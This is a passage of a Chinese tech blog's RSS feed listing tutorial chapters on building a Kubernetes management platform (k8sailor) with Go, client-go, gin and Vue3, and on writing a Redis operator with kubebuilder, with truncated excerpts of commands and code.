[INFO] Verifying binary download [INFO] Installing k3s to /usr/local/bin/k3s ... 省略 初始化环境 通过命令创建一些工作负载， 以便后</description></item><item><title>开发 k8s 管理平台 - k8sailor 02. 使用 cobra 初始化程序命令与参数</title><link>https://typonotes.com/posts/books/k8sailor/chapter01/02-design-cobra-command/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter01/02-design-cobra-command/</guid><description>开发 k8s 管理平台 - k8sailor 02. 使用 cobra 初始化程序命令与参数 原文地址: https://tangx.in/posts/books/k8sailor/chapter01/02-design-cobra-command/ tag: https://github.com/tangx/k8sailor/tree/feat/01-cobra-command 为了更加方便的管理配置文件的来源， 这里使用 cobra 进行命令行构建 效果如下 1 2 3 4 5 6 7 8 9 cd cmd/k8sailor &amp;amp;&amp;amp; go run . k8s 管理平台 Usage: k8sailor [flags] Flags: --config string k8s 配置授权文件 (default &amp;#34;./k8sconfig/config.yml&amp;#34;) -h, --help help for k8sailor 编码 变量管理 在 cmd/k8sailor/global 目录中管理 全局 变量。 其中，定义一个 CmdFlag 结构体管理所有 cobra fl</description></item><item><title>开发 k8s 管理平台 - k8sailor 03. 使用 client-go sdk 链接集群</title><link>https://typonotes.com/posts/books/k8sailor/chapter01/03-connect-cluster/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter01/03-connect-cluster/</guid><description>开发 k8s 管理平台 - k8sailor 03. 使用 client-go sdk 链接集群 原文地址: https://tangx.in/posts/books/k8sailor/chapter01/03-connect-cluster/ tag: https://github.com/tangx/k8sailor/tree/feat/02-connect-cluster 使用 sdk 链接 k3s cluster 并获取 deployment 信息 1 2 3 4 cd cmd/k8sailor &amp;amp;&amp;amp; go run . * my-nginx-1 (1 replicas) * my-nginx-2 (2 replicas) 下载 client-go sdk 之前在安装 k3s 集群的时候，版本是 v0.21.4。 因此。 这里选择 client-go sdk 的版本也是 v0.21.4 如果还有其他环境， 可以使用 go mod edit 命令锁定 client-go 的版本 1 2 3 go get k8s.io/client-go@v0.21.4 go mod edit -replace=k8s.io/client-go=k8s.io/client-go@v0.21.4 连接集群并获取</description></item><item><title>开发 k8s 管理平台 - k8sailor 04. 使用 gin 创建第一个 API 接口</title><link>https://typonotes.com/posts/books/k8sailor/chapter01/04-init-httpserver/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter01/04-init-httpserver/</guid><description>开发 k8s 管理平台 - k8sailor 04. 使用 gin 创建第一个 API 接口 原文地址: https://tangx.in/posts/books/k8sailor/chapter01/04-init-httpserver/ tag: https://github.com/tangx/k8sailor/tree/feat/04-httpserver-initial 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 cd cmd/k8sailor &amp;amp;&amp;amp; go run . httpserver 启动 web 服务器 Usage: k8sailor httpserver [flags] Flags: -h, --help help for httpserver Global Flags: --config string k8s 配置授权文件 (default &amp;#34;./k8sconfig/config.yml&amp;#34;) 2021/09/24 07:56:51 open config/local.yml: no such file or directory [GIN-debug] [WARNING] Creating an Engine instance with the Logger and Recovery middleware already attached. [GIN-debug] [WARNING] Running in &amp;#34;debug&amp;#34; mode. Switch to &amp;#34;release&amp;#34; mode in production. - using env: export GIN_MODE=release - using code: gin.SetMode(gin.ReleaseMode) [GIN-debug] GET /k8sailor/v0/ping --&amp;gt; github.com/tangx/k8sailor/cmd/k8sailor/apis.RootGroup.func1 (3 handlers) [GIN-debug] Listening</description></item><item><title>开发 k8s 管理平台 - k8sailor 05. RESTFul API 接口规范与请求应答约定</title><link>https://typonotes.com/posts/books/k8sailor/chapter01/05-design-restful-api-and-response-data/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter01/05-design-restful-api-and-response-data/</guid><description>开发 k8s 管理平台 - k8sailor 05. RESTFul API 接口规范与请求应答约定 原文地址: https://tangx.in/posts/books/k8sailor/chapter01/05-design-restful-api-and-response-data/ tag: https://github.com/tangx/k8sailor/tree/feat/05-design-restful-api-and-response-data 强烈建议使用 RESTful 风格来设计 API 文档。 RESTful api 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # kubectl create deployment nginx-tools --image nginx:alpine --output=yaml --dry-run=client apiVersion: apps/v1 kind: Deployment metadata: creationTimestamp: null labels: app: nginx-tools name: nginx-tools # ... 省略 # kubectl create namespace hello --dry-run=client -o yaml apiVersion: v1 kind: Namespace metadata: creationTimestamp: null name: hello # ... 省略 可以看到， k8s api 中都有一个对应的 kind 描述资源类型， 这个正好符</description></item><item><title>开发 k8s 管理平台 - k8sailor 06. 使用 api/biz/dao 分层结构管理数据请求，获取 deployment 数据</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/06-get-all-deployments/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/06-get-all-deployments/</guid><description>开发 k8s 管理平台 - k8sailor 06. 使用 api/biz/dao 分层结构管理数据请求，获取 deployment 数据 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/06-get-all-deployments/ tag: https://github.com/tangx/k8sailor/tree/feat/06-get-all-deployments client -&amp;gt; apis -&amp;gt; biz -&amp;gt; dao -&amp;gt; 将业务逻辑部分分为经典三层，想法是这样的，可能实现有错误。 apis 接入层: 只用于管理 http 请求与交互。 biz 业务层: 用于处理 api 层来的请求， 封装原始数据 dao 数据访问层: 与数据库, cluster 等交互。 存取数据。 重新调整目</description></item><item><title>开发 k8s 管理平台 - k8sailor 07. (前端) 使用 vite 初始化 vue3 项目</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/07-initial-vue3-vite2/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/07-initial-vue3-vite2/</guid><description>开发 k8s 管理平台 - k8sailor 07. (前端) 使用 vite 初始化 vue 项目 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/07-initial-vue3-vite2/ 安装 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 初始化项目 yarn create vite webapp --template vue-ts cd webapp ## 安装依赖 yarn ## 启动查看 vue3 是否正常 yarn dev ## 安装 less 支持， 以后写样式用 yarn add less 清理环境 删除 /webapp/src/components 下的 HelloWorld.vue。 并新建一个 Deployment.vue。 这里使</description></item><item><title>开发 k8s 管理平台 - k8sailor 08. 获取并展示 Deployments 信息</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/08-fetch-and-display-deployments/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/08-fetch-and-display-deployments/</guid><description>开发 k8s 管理平台 - k8sailor 08. 获取并展示 Deployments 信息 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/08-fetch-and-display-deployments/ tag: https://github.com/tangx/k8sailor/tree/feat/08-fetch-and-display-deployments 使用 Axios 请求 Deployments 数据 安装 axios 客户端 1 2 # 安装 axios yarn add axios 创建 /webapp/src/apis 目录， 用于存放所有针对 k8sailor 后端的数据请求 使用 axios config 模式初始化一个客户端 /webapp/src/apis/httpc.ts axios config 模式可以创建一个 http 客户端，其中包含了各种各样的初始化参数， 使用这个模式就不用在每个请求中都写重复的内容了</description></item><item><title>开发 k8s 管理平台 - k8sailor 09. 通过 deployment label 获取 pod 信息</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/09-get-pods-by-deployment-label/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/09-get-pods-by-deployment-label/</guid><description>开发 k8s 管理平台 - k8sailor 09. 通过 deployment label 获取 pod 信息 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/09-get-pods-by-deployment-label/ tag: https://github.com/tangx/k8sailor/tree/feat/09-get-pods-by-deployment-label 有了之前结构铺垫， 获取 Pod 还是很简单简单的。 其中需要注意的是 ListOptions 中的 LabelSelector 是一个字符串， 多组 key=value 之间使用 逗号 , 进行连接。 1 labelSelector := `key1=value1,key2=value2,...` 而通过 client-go API 获取的 Deployment, Pod 等信息中的 MatchLabel 字段是一个 map[string]string 的 map。 因此， 在使用 k8s client 查询的时候， 需要对进行一些传参转换。 1</description></item><item><title>开发 k8s 管理平台 - k8sailor 10. (前端) 使用 vue-router 进行路由管理</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/10-vue-router-and-less/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/10-vue-router-and-less/</guid><description>开发 k8s 管理平台 - k8sailor 10. (前端) 使用 vue-router 进行路由管理 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/10-vue-router-and-less/ tag: https://github.com/tangx/k8sailor/tree/feat/10-vue-router-and-less 使用 vue-router 路由管理 安装 vue-router 支持参考 https://tangx.in/2021/09/28/vue3-vue-router/ 将默认的 /webapp/src/App.vue 作为最基本的入口， 除了引入 Index.vue 文件模块，不进行其他操作， 保持整洁。 其行为类似 golang 中的 main.go。 创建 /webapp/src/components/Index.vue 模块作为 index 入口文件， 也是主要的布局页面。 路由信息(router-link) 将</description></item><item><title>开发 k8s 管理平台 - k8sailor 11. 展示 deployment 详情页</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/11-display-deployment-detail/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/11-display-deployment-detail/</guid><description>开发 k8s 管理平台 - k8sailor 11. 展示 deployment 详情页 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/11-display-deployment-detail/ tag: https://github.com/tangx/k8sailor/tree/feat/11-display-deployment-detail 之前在后端已经将详情页的展示接口拆成了 2个 其一是根据 name 获取 单个 deployment /deployments/:name 其二是根据 deployment name 获取 关联 的 pods 信息 /deployments/:name/pod 页面展示就是两个接口请求与数据展示的简单操作， 和之前 deployment 页面一样， 没什么好说的。 typescript 的 interface 衍生 不过， 在遇到第二个、第三个接口出现的时候， 发现</description></item><item><title>开发 k8s 管理平台 - k8sailor 12. 设置 deployment 副本数量 与 参数的有效性验证</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/12-deployment-scale-and-params-validate/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/12-deployment-scale-and-params-validate/</guid><description>开发 k8s 管理平台 - k8sailor 12. 设置 deployment 副本数量 与 参数的有效性验证 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/12-deployment-scale-and-params-validate/ tag: https://github.com/tangx/k8sailor/tree/feat/12-deployment-scale-and-params-validate deployment scale 1 kubectl scale deployment my-nginx-1 --replicas 1 在 client-go sdk 中， scale 参数是一个对象， 因此不能直接传入 一个数字。 需要通过 GetScale() 方法获取到 *autoscalingv1.Scale 对象。 修改 Scale 对象中的 Replicas 数值。 使用 UpdateScale() 方法更新设置。 SetDeploymentReplicas params validtor 参数验证在任何情况下都不能放松警惕， 尤其是 边界验证 和 0值混淆 。 对</description></item><item><title>开发 k8s 管理平台 - k8sailor 13. 使用 k8s informer 订阅集群事件</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/13-k8s-informer/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/13-k8s-informer/</guid><description>开发 k8s 管理平台 - k8sailor 13. 使用 k8s informer 订阅集群事件 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/13-k8s-informer/ tag: https://github.com/tangx/k8sailor/tree/feat/13-k8s-informer 从应用层面来说， 创建 informer 并启动之后就与 k8s cluster 创建了一个长链接并订阅了 某个资源 Resource 的变化。 至于订阅后得到的数据要怎么用完全取决于订阅者的业务设计。 Shared Informer Factory 共享机制 Informer 又称为 Shared Informer，表明是可以共享使用的，在使用 client-go 写代码时，若同</description></item><item><title>开发 k8s 管理平台 - k8sailor 14. 一些前后端代码优化</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/14-some-optimize/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/14-some-optimize/</guid><description>开发 k8s 管理平台 - k8sailor 14. 一些前后端代码优化 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/14-some-optimize/ tag: https://github.com/tangx/k8sailor/tree/feat/14-some-optimize 将 LabelSelector 转换为 Selector client-go 提供了一个方法， 可以将 Resource 中的 LabelSelector 转换为 Selector, 并且 Selector 结构提供了一些常用的方法。 如 String 1 2 3 4 5 6 7 8 9 import ( metav1 &amp;#34;k8s.io/apimachinery/pkg/apis/meta/v1&amp;#34; ) func() { selector, _ := metav1.LabelSelectorAsSelector(dep.Spec.Selector) x := selector.String() fmt.Println(x) }() 因此在使用 GetXXXByLabels 时， api 层 可以考虑 接收 map[string]string 类型的参数。 而在 biz 层应该将 不同类型 的参数 统一 转换为格式</description></item><item><title>开发 k8s 管理平台 - k8sailor 15. 根据名字删除 deployment 和 pod</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/15-delete-deployment-and-pod-by-name/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/15-delete-deployment-and-pod-by-name/</guid><description>开发 k8s 管理平台 - k8sailor 15. 根据名字删除 deployment 和 pod 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/15-delete-deployment-and-pod-by-name/ tag: https://github.com/tangx/k8sailor/tree/feat/15-delete-deployment-and-pod-by-name 调用 k8s api 没什么好说的。 k8sdao 1 2 3 4 5 func DeleteDeploymentByName(ctx context.Context, namespace string, name string) error { opts := metav1.DeleteOptions{} return clientset.AppsV1().Deployments(namespace).Delete(ctx, name, opts) } biz 1 2 3 4 5 6 7 8 9 10 11 12 13 14 type DeleteDeploymentByNameInput struct { Name string `uri:&amp;#34;name&amp;#34;` Namespace string `query:&amp;#34;namespace&amp;#34;` } // DeleteDeploymentByName 根据名字删除 deployment func DeleteDeploymentByName(ctx context.Context, input DeleteDeploymentByNameInput) error { err := k8sdao.DeleteDeploymentByName(ctx, input.Namespace, input.Name) if err != nil { return fmt.Errorf(&amp;#34;k8s internal error: %w&amp;#34;, err) } return nil } api 1 2 3 4 5 6 7 8 9 10 11 12 13 14 func handlerDeleteDeploymentByName(c</description></item><item><title>开发 k8s 管理平台 - k8sailor 16. 创建 Deployment</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/16-create-deployment/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/16-create-deployment/</guid><description>开发 k8s 管理平台 - k8sailor 16. 创建 Deployment 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/16-create-deployment/ tag: https://github.com/tangx/k8sailor/tree/feat/16-create-deployment 使用 kubectl 命令创建如下 1 kubectl create deployment my-nginx-5 --image=nginx:alpine --replicas=3 --port=80 创建成功后查看结果， 大部分参数为默认参数。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 # kgd -o yaml my-nginx-5 apiVersion: apps/v1 kind: Deployment metadata: labels: app: my-nginx-5 # 根据 deployment 自动匹配名字自动生成 name: my-nginx-5 # 用户指定 namespace: default # 用户选择，默认为当前 namespace spec: progressDeadlineSeconds: 600 # 默认</description></item><item><title>开发 k8s 管理平台 - k8sailor 17. Pod 的阶段(phase)与状态(status)</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/17-pod-phase-and-status/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/17-pod-phase-and-status/</guid><description>开发 k8s 管理平台 - k8sailor 17. Pod 的阶段(phase)与状态(status) 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/17-pod-phase-and-status/ Pod 的生命周期 https://kubernetes.io/zh/docs/concepts/workloads/pods/pod-lifecycle/ Pod 的 Status 不是 Phase。 Pod 的 Status 需要根据 Pod 中的 ContainerStatuses 进行计算得到。 Phase 阶段 描述 Pending（悬决） Pod 已被 Kubernetes 系统接受，但有一个或者多个容器尚未创建亦未运行。此阶段包括等待 Pod 被调度的时间和通过网络下载镜</description></item><item><title>开发 k8s 管理平台 - k8sailor 19. 为 Deployment 创建 Service</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/19-create-service/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/19-create-service/</guid><description>开发 k8s 管理平台 - k8sailor 19. 为 Deployment 创建 Service 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/19-create-service/ tag: https://github.com/tangx/k8sailor/tree/feat/19-create-service https://kubernetes.io/zh/docs/concepts/services-networking/service/#externalname 1 2 3 kubectl create service clusterip nginx-web --clusterip=&amp;#34;port:targetPort&amp;#34; kubectl create service clusterip nginx-web --clusterip=&amp;#34;8082:80&amp;#34; kubectl create service nodeport nginx-web --clusterip=&amp;#34;8081:80&amp;#34; 需要注意, 使用 kubectl get service 查看到的 Ports 的展示结果为 port:nodePort， 而 targetPort 不展示。 1 2 3 # kubectl get service NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE demo-nginx-nodeport-3 NodePort 10.43.181.29 &amp;lt;none&amp;gt; 80:32425/TCP 4s port, targetPort, nodePort 端口映射中的四个 比较关键 的要素: name: 避免端口相同时，默认名字冲突 port:</description></item><item><title>开发 k8s 管理平台 - k8sailor 20. 为 Deployment 创建 Ingress</title><link>https://typonotes.com/posts/books/k8sailor/chapter02/20-create-ingress/</link><pubDate>Tue, 10 Jan 2023 10:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/k8sailor/chapter02/20-create-ingress/</guid><description>开发 k8s 管理平台 - k8sailor 20. 为 Deployment 创建 Ingress 原文地址: https://tangx.in/posts/books/k8sailor/chapter02/01-install-k3s-cluster/ tag: https://github.com/tangx/k8sailor/tree/feat/20-create-ingress k8s ingress https://kubernetes.io/zh/docs/concepts/services-networking/ingress/ 1 2 3 4 # Create an ingress with a default backend kubectl create ingress ingdefault --class=default \ --default-backend=defaultsvc:http \ --rule=&amp;#34;foo.com/*=svc:8080,tls=secret1&amp;#34; --dry-run -o yaml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: creationTimestamp: null name: ingdefault spec: defaultBackend: service: name: defaultsvc port: name: http ingressClassName: default rules: - host: foo.com http: paths: - backend: service: name: svc port: number: 8080 path: / pathType: Prefix # 匹配方式 tls: - hosts: - foo.com secretName: secret1 status: loadBalancer: {} 路径类型 Ingress 中的每个</description></item><item><title>这些关于 Golang timezone 时区的坑， 我已经帮你踩过了</title><link>https://typonotes.com/posts/2023/01/09/golang-timezone-issue/</link><pubDate>Mon, 09 Jan 2023 23:00:30 +0800</pubDate><guid>https://typonotes.com/posts/2023/01/09/golang-timezone-issue/</guid><description>这些关于 Golang timezone 时区的坑， 我已经帮你踩过了 原文链接: https://tangx.in/posts/2023/01/09/golang-timezone-issue/ Golang 中一些不太注意的时区问题 1. time/tzdata 库 Golang 内置的一个时区文件。 可以在程序中任意位置被导入。 导入后， 如果程序 找不到本地 时区文件， 就会使用该库的数据。 本地 指的是 运行环境， 可能是实际的服务器， 也可能是容器。 通常， 应该在 main.go 中被导入。 如果是 库代码 则</description></item><item><title>《kubebuilder 从零开始实战》 - 01. 使用 kuberbuilder 初始化项目</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/01-kubebuilder-init-project/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/01-kubebuilder-init-project/</guid><description>使用 kuberbuilder 初始化项目 代码在: https://github.com/tangx/kubebuilder-zero-to-one 1 2 kubebuilder init --domain tangx.in kubebuilder create api --group myapp --version v1 --kind Redis 1 2 3 4 5 6 7 8 9 apiVersion: myapp.tangx.in/v1 kind: Redis metadata: name: my-op-redis spec: replicas: 1 port: 3333 1 2 3 4 5 # 安装 make install # 卸载 make uninstall 查看 crd 1 2 3 k get crd |grep tangx.in redis.myapp.tangx.in 2021-11-19T06:16:43Z</description></item><item><title>《kubebuilder 从零开始实战》 - 02. 定义对象 CRD 字段， 实现第一个 DEMO</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/02-simplest-redis-crd/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/02-simplest-redis-crd/</guid><description>定义对象 CRD 字段， 实现第一个 DEMO 代码在: https://github.com/tangx/kubebuilder-zero-to-one 定义 CRD Redis 对象字段 在 /api/v1/redis_types.go 中， 增加 Replicas 和 Port 字段。 1 2 3 4 5 6 7 8 9 type RedisSpec struct { // INSERT ADDITIONAL SPEC FIELDS - desired state of cluster // Important: Run &amp;#34;make&amp;#34; to regenerate code after modifying this file // Foo is an example field of Redis. Edit redis_types.go to remove/update // Foo string `json:&amp;#34;foo,omitempty&amp;#34;` Replicas int `json:&amp;#34;replicas,omitempty&amp;#34;` Port int32 `json:&amp;#34;port,omitempty&amp;#34;` } 这个 RedisSpec 对应 /deploy/my-op-redis.yml 中的 spec 1 2 3 4 5 6 7 8 9 10 apiVersion: myapp.tangx.in/v1 kind: Redis metadata: name: my-op-redis spec: replicas: 1 port: 3333 编码 Reconcile 调谐逻辑 在 /controllers/redis_controller.go 中编码 R</description></item><item><title>《kubebuilder 从零开始实战》 - 03. 优化配置 发布 crd controller 到集群</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/03-deploy-crd-controller/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/03-deploy-crd-controller/</guid><description>优化配置 发布 crd controller 到集群 设置 docker server 网络代理， 避免编译的时候下载所依赖的 gcr.io 镜像失败。 参考文章 设置 docker server 网路代理 修改 Makefile, 设置默认 image name 1 2 3 4 VERSION ?= v$(shell cat .version) # Image URL to use all building/pushing image targets IMG ?= cr.docker.tangx.in/jtredis/controller:$(VERSION) 修改镜像 pull 策略。 在 /config/manager/manager.yaml 配置文件中， 添加 imagePullPolicy 策略。 由于本地开发， 并不准备上传到云上， 所以设置为 IfNotPresent。 1 2</description></item><item><title>《kubebuilder 从零开始实战》 - 04. 使用注解完整字段值约束</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/04-filed-validation-by-comment/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/04-filed-validation-by-comment/</guid><description>使用注解完整字段值约束 代码在: https://github.com/tangx/kubebuilder-zero-to-one 在 /api/v1/redis_types.go 中，使用注解完成字段值约束。 约束条件必须以 //+kubebuilder:validation:&amp;lt;METHOD&amp;gt;:=&amp;lt;VALUE&amp;gt; 为格式， 符号之间 没有空格。 约束条件必须 紧邻 字段， 且在字段上方。 https://book.kubebuilder.io/reference/markers/crd-validation.html 1 2 3 4 5 6 7 8 9 10 type RedisSpec struct { // INSERT ADDITIONAL SPEC FIELDS - desired state of cluster // Important: Run &amp;#34;make&amp;#34; to regenerate code after modifying this file Replicas int `json:&amp;#34;replicas,omitempty&amp;#34;` //+kubebuilder:validation:Minimum:=1234 //+kubebuilder:validation:Maximum:=54321 Port int32 `json:&amp;#34;port,omitempty&amp;#34;` } 重新编译安装 1 make install 使用命令查看查看 1 2 3 4 5 6 7</description></item><item><title>《kubebuilder 从零开始实战》 - 05. 使用注解完整字段值约束</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/05-filed-validation-by-webhook/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/05-filed-validation-by-webhook/</guid><description>通过 webhook 进行字段验证 代码在: https://github.com/tangx/kubebuilder-zero-to-one 通过 kubebuilder 生成代码 1 2 3 4 5 # 创建 api kubebuilder create api --group myapp --version v1 --kind Redis # 创建 api 的 webhook kubebuilder create webhook --group myapp --version v1 --kind Redis --defaulting --programmatic-validation 增加 webhook 条件 在 /api/v1/redis_webhook.go 中增加检查条件。 检查 webhook 被触发有三个条件 Create / Update / Delete 时间节点, 分别对应三个方法。 如下是 创建时检查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 func (r *Redis) ValidateCreate() error { redislog.Info(&amp;#34;validate create&amp;#34;, &amp;#34;name&amp;#34;, r.Name) // 条件判断 if</description></item><item><title>《kubebuilder 从零开始实战》 - 06. 使用 Operator 创建并发布一个 Pod</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/06-create-pod-by-redis-operator/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/06-create-pod-by-redis-operator/</guid><description>使用 Operator 创建并发布一个 Pod 代码在: https://github.com/tangx/kubebuilder-zero-to-one 1. 组装 k8s api 创建 pod 创建 /controllers/helper 目录， 这里面的代码实现 k8s Workloads 的创建。 具体实现就是封装 k8s workloads 的 api 对象 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // CreateRedis 创建 redis pod func CreateRedisPod2(ctx context.Context, client client.Client, config *appv1.Redis) error { pod := &amp;amp;corev1.Pod{} pod.Name = config.Name pod.Namespace = config.Namespace pod.Spec.Containers = []corev1.Container{ { Name: config.Name, Image: config.Spec.Image, ImagePullPolicy: corev1.PullIfNotPresent, Ports: []corev1.ContainerPort{ { ContainerPort: config.Spec.Port, }, }, }, } // ctx := context.Background() return client.Create(ctx, pod) } 补充说明一下，为什么要</description></item><item><title>《kubebuilder 从零开始实战》 - 07.1. 使用 OwnerReference 管理资源父子关系</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/07-1-delete-pod-by-redis-OwnerReference/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/07-1-delete-pod-by-redis-OwnerReference/</guid><description>使用 OwnerReference 管理资源父子关系 代码在: https://github.com/tangx/kubebuilder-zero-to-one https://kubernetes.io/blog/2021/05/14/using-finalizers-to-control-deletion/ 在上一章的代码可以通过如下命令创建一个 redis 实例， 并随即创建一个 Pod 1 ka -f deploy/ 但是在使用如下命令删除 redis 实例时， 虽然命令行界面提示删除成功， 但是创建的 Pod 依旧存在。 1 krm -f deploy/ 其原因是 redis 实例 与 Pod 之间 没有 建立关联关系。 那要如何创建关联关系呢？ 可以参考阅读官方博客，</description></item><item><title>《kubebuilder 从零开始实战》 - 07.2. 使用 finalizers 防止资源被删除</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/07-2-delete-pod-by-finalizers/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/07-2-delete-pod-by-finalizers/</guid><description>使用 finalizers 防止资源被删除 代码在: https://github.com/tangx/kubebuilder-zero-to-one 上一章使用了 OwnerReference 关联 redis instance 和所创建的 Pod， 这里的删除是通过 k8s 内置的关系处理器处理的。 https://kubernetes.io/blog/2021/05/14/using-finalizers-to-control-deletion/ 根据官方博客文档中的阐述， 当一个资源的额 finalizers 没有被清空时， 这个资源将无法被删除。 因此， 本章通过 finalizers 来建立 redis instance 和所创建 pod 的关系， 以及处理删除逻辑 1. 创建 redis instance 与 pod 的关系 在 /controllers/helper/redis_helper.go 通过</description></item><item><title>《kubebuilder 从零开始实战》 - 08. Pod 扩容与缩容</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/08-scale-pod/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/08-scale-pod/</guid><description>Pod 扩容与缩容 代码在: https://github.com/tangx/kubebuilder-zero-to-one 代码分支越来越多 增/删/改 都有了， 于是选择拆分为 3 个分支。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 扩容 func (r *RedisReconciler) increaseReconcile(ctx context.Context, redis *myappv1.Redis) (ctrl.Result, error) { // ... } // 缩容 func (r *RedisReconciler) decreaseReconcile(ctx context.Context, redis *myappv1.Redis) (ctrl.Result, error) { // ... } // 删除 func (r *RedisReconciler) deleteReconcile(ctx context.Context, redis *myappv1.Redis) (ctrl.Result, error) { // ... } 所谓 扩容/缩容， 在通过 finalizers 管理的时候就是 redis.spec.replicas 与 len(redis.finalizers) 的大小比较。 1 2 3 4 // 缩容 if len(redis.Finalizers) &amp;gt;</description></item><item><title>《kubebuilder 从零开始实战》 - 09. 监听 k8s 事件</title><link>https://typonotes.com/posts/books/kubebuilder-zero-to-one/09-watch-k8s-event/</link><pubDate>Mon, 09 Jan 2023 01:28:03 +0800</pubDate><guid>https://typonotes.com/posts/books/kubebuilder-zero-to-one/09-watch-k8s-event/</guid><description>监听 k8s 事件 代码在: https://github.com/tangx/kubebuilder-zero-to-one 之前的代码遗留了一个问题， 当手动通过命令删除 pod 时候， 不会出发 redis.Finalizers 的更新， 也不会重建被删除的 Pod， 实现效果并不好 1 kubectl delete pod pod_name 1. 监听事件 在 /controllers/redis_controller.go 中生成了对象和方法监听 k8s 的事件。 ctrl 创建的 Builder 可以通过 链式 调用方式， 监听多个 k8s 对象的事件。 1 2 3 4 